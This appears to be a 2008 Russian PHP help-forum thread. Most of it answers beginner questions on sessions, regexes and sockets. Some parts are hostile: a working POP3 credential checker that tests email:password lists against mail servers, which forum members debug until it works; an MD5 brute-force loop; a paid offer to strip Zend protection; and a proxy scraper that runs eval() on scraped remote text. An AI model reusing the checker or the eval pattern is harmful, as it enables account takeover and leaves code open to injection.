если существуют переменные логин и пассворд инклудиться скрипт config.php. все понятно. видимо там конфиги к доступу БД или еще чего-нибудь.

Спасибо! Но в конфиге всё ок, я разобрался, нужно было вперед поставить проверку на вводимые данные, а потом уже на то, зарегена сессия или нет!

Fuckel
17.06.2008, 18:29
.::lol::.
я просил показать мне разницу, а не флудить.

mff
17.06.2008, 18:30
ps
А на какой сайт это вход???
Ты про sql-injection не слыхал? :)[U]

Слыхал! :D Скули закрою позже все.

Naydav
17.06.2008, 18:30
проверку на вводимые данные,
Надеюсь у тебя в эту проверку входит фильтрация :)

neval
17.06.2008, 18:30
судя по его коду обработчик передает в prolog.php 2 переменные:
$_POST['login'] и $_POST['password']

так причем тут

$login && $password

Naydav
17.06.2008, 18:31
я просил показать мне разницу, а не флудить.
Я ТЕБЕ ПОКАЗАЛ РАЗНИЦУ, читай внимательно выше

---------------------------------
$a = "";
if(!empty($a)) echo "empty";
if(isset($a)) echo "isset";

EST a1ien
17.06.2008, 18:33
!empty($a), isset($a), ($a) разница?
empty - проверяет что переменная содержит значение.
isset проверяет что переменная существует.
($a) вобще некоректно если использовать взамен empty и isset

Fuckel
17.06.2008, 18:44
Я ТЕБЕ ПОКАЗАЛ РАЗНИЦУ, читай внимательно выше

---------------------------------
да я видел, спасибо. я прокомментирвал умника. держи плюс

Ch3ck
17.06.2008, 19:30
самый умный? делал! непомогает! не задавал бы если былобы все так просто так просто.

Алёша тебе имя.
Вывод в утф8 идёт. Не абвгдеёжз... получилось ли?

saha
17.06.2008, 19:47
Ребят помогите неуку, 2суток сижу над этим примером
$date = split("\:",date("H:i:s"));
$sec = $date[0] * 3600 + $date[1] * 60 + $date[2];///$sec max=86399 при date=23:59:59

$sec - текущее время
$a - время действия №1
$b - время действия №2
if ($sec>=$a){действие №1}
else {ничего не делаем}

if ($sec>=$b){действие №2}
else {ничего не делаем}


а если текущее время 23:00:00
время действия №1 01:00:00
а время действия №2 22:00:00
как зделать чтоб действие №1 не выполнялось а №2 выполнялось? или я что то не то делаю?

bon4ess
17.06.2008, 20:12
а есть тут нуллеры?? или кто нить сможет вытащить из под зенда скриптик один?? очень очень надо!!

PandoraBox
18.06.2008, 01:42
а есть тут нуллеры?? или кто нить сможет вытащить из под зенда скриптик один?? очень очень надо!!могу занулить естествено не бесплатно если что пиши -)

Isis
18.06.2008, 02:14
saha, юзай mktime (http://php.net/mktime)

Nightmarе
18.06.2008, 02:28
Так вот, опять я со своими бредо-идеями по PHP.

Значит есть 2 скрипта:
1) http://supersite.ru/script1.php

2) http://lol.com/script2.php

При обращении к первому скрипту (script1.php) он передаёт POST запрос через сокеты второму скрипту.
Второй-же скрипт (script2.php) получив определённый POST запрос, шлёт ответный POST запрос на конкретный адрес таким образом: http://supersite.ru/script1.php?secretline=SECRET
И уже после этого первый скрипт script1.php выводит на экран то, что ему передал второй скрипт.

Честно говоря я сомневаюсь, что это вообще реализуемо, если это реализовать действительно никак невозможно просто напишите об этом, ну а если возможно реализовать то просьба написать php код.

Да, тока плиз не спрашивайте "а зачем, а для чего" и т.д... Меня интересует именно эта система, и никакая другая.

Isis
18.06.2008, 02:54
Nightmarе, собственно сложности нету и такое реализуемо :)

<?php
$host = 'lol.com';
$port = 80;
$post = 'secretline=SECRET'; //POST данные

$http =
"POST http://".$host."/index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Isya\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n". //to form
"Content-Length: ".strlen($post)."\r\n\r\n".$post."\r\n";

$sock = fsockopen($host, $port, $errno, $errstr, 10);

if ($sock)
{
fwrite($sock, $http);
$content = '';
while (!feof($sock))
{
if (!$content .= fread($sock, 128))
{
$content = "";
}
}
fclose($sock);
}
echo $content; //Выводим что нам дал script2.php
?>

Nightmarе
18.06.2008, 03:15
Млин не то... он выдаёт заголовок...
Я имел ввиду сделать привязку, то есть ссылаемся:
http://supersite.ru/script1.php он шлёт POST запрос второму скрипту, а второй скрипт в ответ шлёт первому скрипту секретный текст, и первый скрипт выводит на экран секретный текст полученный от скрипта 2.

Isis
18.06.2008, 03:18
На втором сайте найти тэги где включен секретный текст..
Например:
<div id="text">supertext</div>

И в скрипте в конце добавь:
preg_match('#<div id="text">(.*?)</div>#', $content, $tex);
$text = $tex[1];
echo $text;

Nightmarе
18.06.2008, 03:32
Млин... я совсем запутался...
Если не затруднит, напиши плииз оба php скрипта уже рабочие...
На втором сайте найти тэги где включен секретный текст..
Например:
<div id="text">supertext</div>
В этом случае если ко второму скрипту просто сослатсья, то секретный текст будет в открытом виде ;)

Isis
18.06.2008, 03:34
Стукни в асю

mff
18.06.2008, 14:09
Подскажите, как сделать "Выход" корректно? При входе регестрируется сессия:
session_register("valid_user");
Нужно сделать выход ссылкой, чтобы после ее нажатия сессия убивалась. Спасибо!

Jer1cho
18.06.2008, 14:33
http://www.php.net/manual/en/function.session-unregister.php


if($_GET['mode']=='logout'){
session_unegister("valid_user");
} else {}

http://aaa.xxx/y.php?mode=logout


или session_destroy();

Zircool
18.06.2008, 14:56
Такой вопросик, написал скрипт для статы сайта, всю инфу по посещениям он записывает в info.php, решил немножко подправить info.php добавить кнопочку очистить, но столкнулся с проблемой... Стата создает таблицы в info.php, вот и решил через регулярку очищать все таблицы вида, но че то не получается или регулярка неправильная или может кто нибудь другой метод предложит.

?php
require_once('login.php');
if(!is_logined(MODE)) {
exit();
}
echo '<form method="post">';
echo '<input type="submit" name="sub" value="&nbsp;&nbsp; &nbsp; &nbsp; Clean &nbsp; &nbsp; &nbsp;&nbsp;" />';
echo '<form>';

if(isset($_POST['sub']))
{
$list=file_get_contents("info.php");
$fin=str_replace('#<table><tr><td>(\S+)</td><td>(\S+)</td><td>(\S+)</td><td>(\S+)</td></tr></table>#','',$list);

$file_fin=fopen("info.php","w+");
fwrite($file_fin,$fin);
fclose($file_fin);
}

?>

<html>
<style>
body
{
background:#FFFFFF;
font-family:tahoma, verdana, arial;
font-size:14px;
}
table
{

border-collapse: collapse;

}
td
{

border:1px solid #FFFFFF;
width:250px;
text-align:center;
}


</style>

<table bgcolor="#40a0c0" ><tr><td><b style="color: White"><center>Script</center></b></td><td><b style="color: White"><center>Date</center></b></td><td><b style="color: White"><center>Refferal</center></b></td><td><b style="color: White"><center>IP</center></b></td></tr></table>

</html>
<table><tr><td>index.php</td><td>15.06.2008 00:58</td><td>http://www.nsma.ru</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:01</td><td>none</td><td>217.74.245.231</td></tr></table>

<table><tr><td>index.php</td><td>15.06.2008 01:06</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:07</td><td>none</td><td>213.180.206.41</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:11</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:11</td><td>none</td><td>194.67.1.13</td></tr></table>

<table><tr><td>index.php</td><td>15.06.2008 01:17</td><td>none</td><td>194.67.1.13</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:25</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 02:01</td><td>http://www.sm.aport.ru</td><td>194.67.20.227</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 02:35</td><td>none</td><td>65.55.208.12</td></tr></table>

Isis
18.06.2008, 14:56
Если это выход, то лучше убивать все сессии функцией session_destroy()

mff
18.06.2008, 15:09
?mode=logout
Если это выход, то лучше убивать все сессии функцией session_destroy()
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?

Chaak
18.06.2008, 15:16
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?
П почему бы и нет :)?
Меньше видишь спишь спокойно??
Все равно заголовок можно подменить.

Naydav
18.06.2008, 15:23
Zircool
Замени str_replace на ereg_replace, или на preg_match

Насколько я помню str_replace, не работает(не поддерживает) с регуляркой

mff
18.06.2008, 15:25
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?

Buffalon
18.06.2008, 15:28
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
HEADER('LOCATION:$_SERVER[SCRPT_NAME]');

Naydav
18.06.2008, 15:28
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?

Можно ничечо не делать, а можно и Обьекьт(новость, статья) с данным id не найдена
И вообще после удпления можно(нужно) делать редирект, и пользователь уже никак не обновит страницу, а если вручную наберет то
Обьекьт(новость, статья) с данным id не найдена

login999
18.06.2008, 22:06
Добрые люди, помогите, нашел сие чудо, а оно не работает (( :

<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("lst.txt","r");
$fw=fopen("result.txt","w");
$cfg=file("servers.txt");
$i=0;

foreach($cfg as $lst)
{
$lst=strtolower($lst);
$cfg[$i]=explode(':',$lst);
$i++;
}

while (!feof ($fr))
{
$buffer = fgets($fr,255);
$buffer = strtolower($buffer);
$lp=explode(':',$buffer,2);
$log=explode('@',$lp[0],2);
$i=0;

foreach($cfg as $lst)
{

if (trim($log[1])== trim($lst[2])) and (isset($lp[1])))
{
$serv=$lst[0];
$prt=$lst[1];
$i=1;
break;
}
}
if ($i==1)
{
$ock=fsockopen($serv,$prt);
$html=fgets($ock);
$usr="user ".$log[0]."\n";
fputs($ock,$usr);
$html=fgets($ock);
$pwr="pass ".$lp[1]."\n";
fputs($ock,$pwr);
$html=fgets($ock);

if (preg_match("/OK/",$html))
{
fputs($fw,$buffer);
fclose($ock);
}
else
{
fclose($ock);
}
}
}
echo "OK!";
fclose($fr);
fclose($fw);
?>

Что в нем не так?? пишет о ошибке на 27 строчке ((

Jer1cho
18.06.2008, 22:11
Замени на:


if (trim($log[1])==trim($lst[2]) && (isset($lp[1])))

login999
19.06.2008, 00:12
Спс, работает!!!! Уже проверяет мыла )))

svesve
19.06.2008, 12:57
уважаемые знатоки,с вами играет новичок svesve
внимание вопрос )))
как получить исходник страницы к которой обращаюсь?
юзать curl? или http_get ?

VDShark
19.06.2008, 13:01
svesve
file_get_contents($filename);

В качестве $filename может выступать его урл.

oRb
19.06.2008, 13:52
уважаемые знатоки,с вами играет новичок svesve
внимание вопрос )))
как получить исходник страницы к которой обращаюсь?
юзать curl? или http_get ?
Все зависит от настройки твоего сервера и целей, которые ты преследуешь. курл посерьезней будет.
Или ручная генерация заголовков с ручной работой с сокетами.

svesve
19.06.2008, 14:00
оО )
как выдрать я понял

$content=file_get_contents("http://www.siteru/script.php");
print $content;
if(preg_match("/^(100px;\">)?([^<]+)/i",$content,$res)) {
print "$res[2]";

Но чтоб зайти http://www.site.ru/script.php надо сначала авторизироваться на login.php
,тобишь надо будет отправить ПОСТ на логин?

Buffalon
19.06.2008, 15:05
Вот тибе пример от Isis

<?php
$host = 'lol.com';
$port = 80;
$post = 'secretline=SECRET'; //POST данные

$http =
"POST http://".$host."/index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Isya\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n". //to form
"Content-Length: ".strlen($post)."\r\n\r\n".$post."\r\n";

$sock = fsockopen($host, $port, $errno, $errstr, 10);

if ($sock)
{
fwrite($sock, $http);
$content = '';
while (!feof($sock))
{
if (!$content .= fread($sock, 128))
{
$content = "";
}
}
fclose($sock);
}
echo $content; //Выводим что нам дал script2.php
?>

svesve
19.06.2008, 16:30
не хочет таким макаром (

oRb
19.06.2008, 18:15
не хочет таким макаром (
посмотри простым анализатором трафика, что у тебя браузер отсылает при логине на сервер. Дальше копипаст в скрипт и все должно быть ок.

astrologer
19.06.2008, 18:29
"POST /index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n". ?

На100ящий
19.06.2008, 23:51
плз хэлп!!!
НУжно массивом заполнить список с возможными значениями нное количество, создать две кнопки сабмит, одна-вывод (заполнение списка), вторая-для вывода на экран выделенных значений. При выводе не должен исчезать список...как это сделать. Нажимаю на кнопку с заполнением, создаётся список, при нажатиии на вторую список исчезает и не выводит выбраные значяения со списка!???

Grema
20.06.2008, 00:29
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>

или все через echo делать?

mff
20.06.2008, 01:02
Люди хочу переделать скрипт vizard-06 - парсер проксей с nntime.com (с обходом защиты на js которую ввели там :) ) но что то выдает ошибку. Хочу сделать чтобы он собирал со всех страничек сайта, а не только с главной:
<?php
$site="http://www.nntime.com/index.php?start=";
$count=1176;
for ($i = 1; $i < $count; $i+=25) {
$site_pars=$site.$i;
echo $site_pars.':<br />';


$prox_link=file_get_contents($site_pars);
$peremen_port='';
$prox_res='';
$prox_link=str_replace("\r\n",'',$prox_link);
$prox_link=str_replace("\n",'',$prox_link);
preg_match("/javascript\"\>(.*?)\<\/script\>/i",$prox_link,$peremeni);
$k_ports=preg_match_all("/document\.write\(\"\:\"(.*?)\)\<\/script\>/i",$prox_link,$port);
preg_match_all("/(\d+\.\d+\.\d+\.\d+)\</i",$prox_link,$iiip);
$p_port=explode(';',$peremeni[1]);
for($iii=0;$iii<count($p_port)-1;$iii++) {
$peremen_port.='$'.$p_port[$iii].'; ';
}
eval($peremen_port);
for($iii=0;$iii<$k_ports;$iii++) {
$port_ed=str_replace("+",'.$',$port[1][$iii]);
eval('$port_res=\':\''.$port_ed.';');
$prox_res.=$iiip[1][$iii].$port_res.'<br>';
}
echo $prox_res;
}
?>

Buffalon
20.06.2008, 11:25
Как подключиться к почте через POP3(допустим к mail.ru) вроде правильно написал))... .ТЫк кто понял плиз напишите на ПХП ил хотя бы статейку ...

0verbreaK
20.06.2008, 11:45
Возможно ли использование спуфинг IP адресов на php, есть ли библы какие?
по моему на perl это возможно в линуксе, есть библа

GreenBear
20.06.2008, 12:20
Как подключиться к почте через POP3(допустим к mail.ru) вроде правильно написал))... .ТЫк кто понял плиз напишите на ПХП ил хотя бы статейку ...
php.net/fsockopen && http://www.opennet.ru/base/net/pop3_protocol.txt.html

GreenBear
20.06.2008, 12:21
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>

или все через echo делать?
думаю если сайт, то через шаблонизатор.

.::BARS::.
20.06.2008, 12:48
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>

или все через echo делать?

Первый вариант лучше будет... И каши меньше... Вставлять пхп в хтмл как то не практично на мой взгляд... либо пхп либо хтмл... =)

Chaak
20.06.2008, 12:49
Первый вариант лучше будет... И каши меньше... Вставлять пхп в хтмл как то не практично на мой взгляд... либо пхп либо хтмл... =)
ты понял что сказал :)??

По мне шаблоны!

.::BARS::.
20.06.2008, 12:53
ты понял что сказал :)??

По мне шаблоны!
понял... по мне лучше:

<?
$name='титла';
echo "<title>$name</title>";
?>

А каком именно шаблоне говоришь ты? Я этого не понял..

n3m0
20.06.2008, 14:10
.::BARS::., он говорит не о шаблоне, а о шаблонизаторе.
В этой теме _http://forum.antichat.ru/showthread.php?p=727671#post727671 подобное обсуждалось. Я там выкладывал очень простой шаблонизатор. Надеюсь, ты поймёшь как пользоватся.

NOmeR1
20.06.2008, 15:04
ты понял что сказал :)??
Всё он нормально сказал, только у меня мнение другое. Grema, если можешь обойтись без шаблонизаторов, то лучше их не юзать, т.к. полно возни с файлами. Если на сайте не так уж много хтмла, то вполне можно через эхо, но кстате с эхо есть ещё простой вариант:
<html>
<head>
<link rel="stylesheet" type="text/css" href=​"style.css">
<title><?php echo $title; ?></title>
</head>
<body>
...
</body>
</html>
По мне шаблоны!
Если юзать обычные шаблоны, то зачем тогда вообще сайт нужен, если где-то будет копия твоего сайта с другим контентом?

Naydav
20.06.2008, 15:20
<title><?php echo $title; ?></title>
Тогда уже
<title><?=$title?></title>
Я слышал правда, что в php6 вроде это запретят, хз

---------------
"<?=" это идет как шорт тег, и иногда он отключен на сервере

шорт теги использовать не рекомендуеться(конфликт с xml), возможно в php 6 И не будет

На100ящий
20.06.2008, 15:40
плз хэлп!!!
НУжно массивом заполнить список с возможными значениями нное количество, создать две кнопки сабмит, одна-вывод (заполнение списка), вторая-для вывода на экран выделенных значений. При выводе не должен исчезать список...как это сделать. Нажимаю на кнопку с заполнением, создаётся список, при нажатиии на вторую список исчезает и не выводит выбраные значяения со списка!???

Naydav
20.06.2008, 15:43
На100ящий
Выложи, что там у тебя есть, а то с нуля влом писать

вторая-для вывода на экран выделенных значений
Как они должны выделяться? чекбоксом?
объясни подробней что-ли...

Gadik
20.06.2008, 17:26
Добрый день. Подскажите пожалуйста как можно по проще заменить при выводе числа на экран точку на запятую?

было число 5.05, а нужно вывести на экран 5,05

?

n3m0
20.06.2008, 17:36
$str = str_replace(".", ",", "5.05");

Gadik
20.06.2008, 17:40
не подумал. спс

.::BARS::.
21.06.2008, 02:37
$str = str_replace(".", ",", "5.05"); Это ты как так?

$str = str_replace(".", ",", $str);
заменит все . на ,

scrat
21.06.2008, 02:52
Это ты как так?

$str = str_replace(".", ",", $str);
заменит все . на ,
ну тык если строка изначально равна "5.05" разницы вообще нету.


пс да уж надо точнее формулировать

На100ящий
21.06.2008, 19:24
вообщем вот код, нажимая кнопку заполнить значания заполняются от одного до ста, в списке выбираем пару или одно значение, нажимаем на вторую кнопку "Печать"чтобы вывести на экран выбраные в списке значения, и чтобы список остался. и вот тут вот не выходит что то!!!!!(((
<?
global $mass;
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';
if(isset($zap)){
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
echo '<option>'.$mass[$m];
}
echo '</select><br>';
}
echo '<form method="POST" name="2">';
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=1; $l<count($mass); $l++)
echo $mass[$l].'<br>';
}
?>

Dr.Frank
21.06.2008, 20:18
2На100ящий

мб так, не уверен, что тебе именно ТАКОЕ нужно, тем более средствами php
<?
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';

echo '<form method="POST" name="2">';
if(isset($zap) || isset($print)){
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
if(isset($vubor)){
if(in_array($mass[$m],$vubor))
echo '<option SELECTED>'.$mass[$m].'</option>';
else
echo '<option>'.$mass[$m].'</option>';
}else{
echo '<option>'.$mass[$m].'</option>';
}
}
echo '</select><br>';
}
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=0; $l<count($vubor); $l++)
echo $vubor[$l].'<br>';
}
?>

p.s. почти весь скрипт переделал

=TenJou=
21.06.2008, 22:24
здраствуйте.....решил изучать PHP и прошу помочь советом или сылкой на хороший учебник.....я знаю что многие сразу отправят меня на www.google.com , но учебников много....и все они разные.
Надеюсь на вашу помощь, зарание спасибо

FeraS
21.06.2008, 22:28
=TenJou=
http://aeweb.ru/books/php_book/

=TenJou=
21.06.2008, 23:55
спасиб

Vid0k
22.06.2008, 02:32
пишу грабилку музики вконакте возникла проблема
скрипт зависаеи при чтении ответа с контакта
пишу в сокет

$dates="GET http://vkontakte.ru/audio.php?act=search&q=Запрос&add=1&st=0 HTTP/1.1\r\n";
$dates.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$dates.="Referer: http://vkontakte.ru/audio.php?act=search&q=Avril&add=1&st=0\r\n";
$dates.="Accept-Language: ru\r\n";
$dates.="Proxy-Connection: Keep-Alive\r\n";
$dates.="User-Agent: блаблабла\r\n";
$dates.="Host: vkontakte.ru\r\n";
$dates.="Cookie: remixchk=бла; remixmid=блаблабла; remixemail=мыло; remixpass=мд5(пасс)\r\n";
$dates.="\r\n";

при ответе он виснет или продолжает дальше считывать с сокеты как с этим бороться
c чем это может быть связано знаю что кол-во страниц при выдаче контакта неограничено может из за этого?тогда как с этим бороться?

.::BARS::.
22.06.2008, 04:04
вообщем вот код, нажимая кнопку заполнить значания заполняются от одного до ста, в списке выбираем пару или одно значение, нажимаем на вторую кнопку "Печать"чтобы вывести на экран выбраные в списке значения, и чтобы список остался. и вот тут вот не выходит что то!!!!!(((
<?
global $mass;
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';
if(isset($zap)){
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
echo '<option>'.$mass[$m];
}
echo '</select><br>';
}
echo '<form method="POST" name="2">';
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=1; $l<count($mass); $l++)
echo $mass[$l].'<br>';
}
?>

Запиши лучше в файл, а снего уже на вывод...

gisTy
22.06.2008, 06:32
появился вопрос... собственно:
например у меня есть скрипт и я его запускаю не на веб сервере, а на локалхосте при чем через консоль следующим образом
php script.php 123
как прописать в скрипте чтобы например переменной $a присваивалось значение 123?

Dr.Frank
22.06.2008, 07:41
2gisTy

если сконвертировать в .exe, то так:

<?php
$t= $HTTP_SERVER_VARS['argv'];
$a=$t[1];
echo $a;
?>

запуск: script.exe -- 123

если без конвертации, то:
<?php
$t= $_SERVER['argv'];
$a=$t[1];
echo $a;
?>
запуск: php script.php 123

gisTy
22.06.2008, 07:46
а не конвртируя? я просто под никсами сижу..просто нашел скрипт брутовский... думаю его дописывать и т.д. и т.п.
<?

//$salt = " ";
$hesh = " ";

$string = "abcdef123";

for($i1 = 0; $i1 < strlen($string); $i1++)
{

for($i2 = 0; $i2 < strlen($string); $i2++)
{

for($i3 = 0; $i3 < strlen($string); $i3++)
{

$password = substr($string,$i1,1).substr($string,$i2,1).substr ($string,$i3,1);
if($hesh == md5(md5($salt).md5($password)))
{
echo("Password: ".$password);
break;
}

}
if($hesh == md5($password)))
{
break;
}
}
if($hesh == md5($password)))
{
break;
}
}
?>

Dr.Frank
22.06.2008, 07:54
2gisTy

дописал

spamoney
22.06.2008, 15:01
Всем привет! Помогите решить следующую проблему:

есть строка:
Текст__Текст_текст2текст3_те кст4____текст

как сделать так, что бы если идут сразу два или более нижних подчерка (_), то они заменялись на один, т.е строку которая приведена выше надо изменить так:

Текст_Текст_текст2текст3_те ст4_текст

p.s
Текст естественно всегда разный и местоположение и кол-во _ тоже

Piflit
22.06.2008, 15:11
$str = preg_replace('/[_]+/','_',$str);

Chaak
22.06.2008, 15:12
Всем привет! Помогите решить следующую проблему:

есть строка:
Текст__Текст_текст2текст3_те кст4____текст

как сделать так, что бы если идут сразу два или более нижних подчерка (_), то они заменялись на один, т.е строку которая приведена выше надо изменить так:

Текст_Текст_текст2текст3_те ст4_текст

p.s
Текст естественно всегда разный и местоположение и кол-во _ тоже
<?php
$str='Текст__Текст_текст2текст 3_текст4____текст';
$str= preg_replace("/_+/","_",$str);
echo $str;
?>

spamoney
22.06.2008, 15:16
ChaaK, Piflit большое спасибо, работает!

gisTy
22.06.2008, 15:37
появилась еще такой вопрос... собственно сабж..
пользователь задает кол-во символов. надо составить лист слудующего вида

aaaaaa
aaaaab
aaaaac
aaaaad
......
zzzzzw
zzzzzx
zzzzzy
zzzzzz

где каждая последовательность символов длинной, которую задал пользователь...
много думал над реализацией... ничего не получается... если только под каждое количество символов писать скрипт, но это не дело...

Ch3ck
22.06.2008, 15:59
<?php
$mas=array('aaaaaab','aaaaa','aaaac','zzzzzz','zzz zzzzzzzzw','zzzzzw','zzzzza');
sort($mas);
for($i=0; $i<count($mas);$i++)
{ echo('<br>'.$mas[$i]); }
?>

? Или я не правильно понял...

Dr.Frank
22.06.2008, 16:04
скорее так:
<?php
$e=array('a','b','c','d','e','f','g','h','i','j',' k','l','m','n','o','p','q','r','s','t','u','v','w' ,'x','y','z');
$kol=2;
function chis($eee="",$glub=0){
global $e,$kol;
for($q=0;$q<count($e);$q++){
if($glub!=$kol){
chis($eee.$e[$q],$glub+1);
}else{
echo $eee.$e[$q]."<br/>\r\n";
}
}
}
chis();

?>

FeraS
22.06.2008, 16:09
Код Др. Франка доделал:

<?php

if ($_REQUEST["strl"]) {
$e = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$kol = $_REQUEST["strl"];

function chis($eee = "", $glub = 0) {
global $e, $kol;

for($q = 0; $q < count($e); $q++) {
if($glub != $kol) {
chis($eee.$e[$q], $glub + 1);
}
else {echo $eee . $e[$q] . "<br/>\r\n";}
}
}
chis();
}
else {
echo '
<form method="post">
<p><input type="text" name="strl" size="5" /> <input type="submit" value="Вывести" /></p>
</form>';
}

?>


Вроде правильно))

astrologer
22.06.2008, 16:10
<pre>
<?php

$s = 'aaa';
do { echo $s, "\n"; } while($s++ !== 'zzz')

?>
</pre>Только вот для шести символов список будет весить мегабайт 500

gisTy
22.06.2008, 17:25
эм... черт.. забыл про $s++ спс всем=)
еще вопрос.. а можно как нибудь добавить поддержку цифр? чтобы в генерации учавствовали не только буквы, но и цыфры

oRb
22.06.2008, 19:36
эм... черт.. забыл про $s++ спс всем=)
еще вопрос.. а можно как нибудь добавить поддержку цифр? чтобы в генерации учавствовали не только буквы, но и цыфры

<?php
ob_implicit_flush();
set_time_limit(0);
$str = "0";
$i = 0;
$need = false;
while($s != "zzz")
{
while(1)
{
$ch = ord( $str[$i] ) + 1;
if($ch < 33)
$ch = 33;
if ($ch > 126)
{
$ch = 33;
$str[$i] = chr($ch);
$i++;
continue;
}
$str[$i] = chr($ch);
break;
}
echo $str."\n";
$i = 0;
}
?>
Здесь помимо букв и цифр будут генерироваться остальные печатные символы: !@#$%^&*().,:;' "

Chaak
22.06.2008, 19:50
Вообщем нужен скрипт для подсчета/сохранения статистики. Желательно на файлах.
Кто сможет написать, тому +. Мне лень :-[

Solker
22.06.2008, 19:54
О какой статистике идет речь?

Chaak
22.06.2008, 20:00
О какой статистике идет речь?
О састистике СМС биллинга. Т.е нужно принять скрипту номер телефона, префикс, id сообщени(пощитать), и сколько я получил. Все просто.

Isis
22.06.2008, 20:23
10$ with mysql

Buffalon
22.06.2008, 22:15
ЗДрасте у миня такоей вопрос... .
Я связываюсь с ХОСТОМ, даю Ему команду она выпоняется ... .
Можно ли как то дать команду сразу нескольким хостам.. ..
Или как добиться того что я даю команду одному (он начал выполняться ) другому (второй тоже начал работу) и всё это одонвременно ... .
ПРосто я думаю так что если дать команду одному то мы будем жд@ть пока она не прикратиться, и пока мы неполучим результат(

Ch3ck
22.06.2008, 23:22
2Buffalon
Мне кажется это многопоточность...

Buffalon
22.06.2008, 23:40
2Buffalon
Мне кажется это многопоточность...
БЛин... .всю мою темку одним словом охарактерезовал.. ..Тык как её реализовать>>>
Алгоритм

Ch3ck
22.06.2008, 23:52
Эм... на php никак.
Конечно, не выход, но...
http://www.seoblog.com.ua/2007/03/20/multiplexing-in-php/

Solker
23.06.2008, 15:15
В Php нету многопоточности.
Как ты говориш ты посылаеш запрос серверу, и он уже ее выполняет.
Зачем ждать пока он ее выполнит?
Посылаем запрос и обрываем соеденение, пускай сервер дальше делает свои дела.
А мы следовательно посылаем команду следующему и т.д.

KIR@PRO
23.06.2008, 22:01
как при отправки формы, а именно поля <textarea> мне в php получить массив в котором каждый элемент равен соответствующей строке в поле.

пример я отправляю форму где в textarea 4 строки 1111111
2222222222
333333333
44444444
как мне в php принять их и работать как с массивом
TEXT[1]=1111111
TEXT[2]=2222222222
TEXT[3]=333333333
TEXT[4]=44444444
зарание благодарю ;)

___________________________________
http://www.hash.ixces.ru/img.gif

http://hash.ixces.ru/

NOmeR1
23.06.2008, 22:35
$TEXT = preg_split('~\n~', $_POST['text']);

[Raz0r]
23.06.2008, 23:38
Зачем preg_split() ? обычный explode() также сработает
$TEXT = explode("\n", $_POST['text']);

Grema
24.06.2008, 15:09
Люди какие есть проги для групповой разработки в пхп?
то есть чтобы я с другом писали кое-что и видели кто что добавил или изменил.

inlanger
24.06.2008, 15:48
$TEXT = explode("\n", $_POST['text']);
В Unix- системах для отделения одной строки от другой используется \n , a в Windows \r\n.
Так что надо смотреть ещё, что за сервак.

Naydav
24.06.2008, 16:27
Люди какие есть проги для групповой разработки в пхп?
то есть чтобы я с другом писали кое-что и видели кто что добавил или изменил.

Почитай о контролле версий (например SVN (более новая система), CVS(болея старая система))

А оболочка, ну я использую pdt eclipse + SVN, советую, там и другого чень много полезного
Там все детально описано
pdt eclipse + SVN
Командная разработка на GWT в Eclipse
http://gwt.org.ua/ru/blog/2007/10/20/eclipse-team/

для начала глянь еще
SVN:

http://www.inode.ru/articles/programming/2007-02-20/383
http://lib.custis.ru/index.php/CVS
http://habrahabr.ru/blog/php/25361.html - +как работать
http://habrahabr.ru/tag/SVN/
http://ccc.ru/magazine/depot/03_05/read.html?0202.htm


http://subversion.org.ru/ - вроде как сейчас не пашет
пс
тьху блин, аватара :), я себя был не признал :)

[Raz0r]
24.06.2008, 16:47
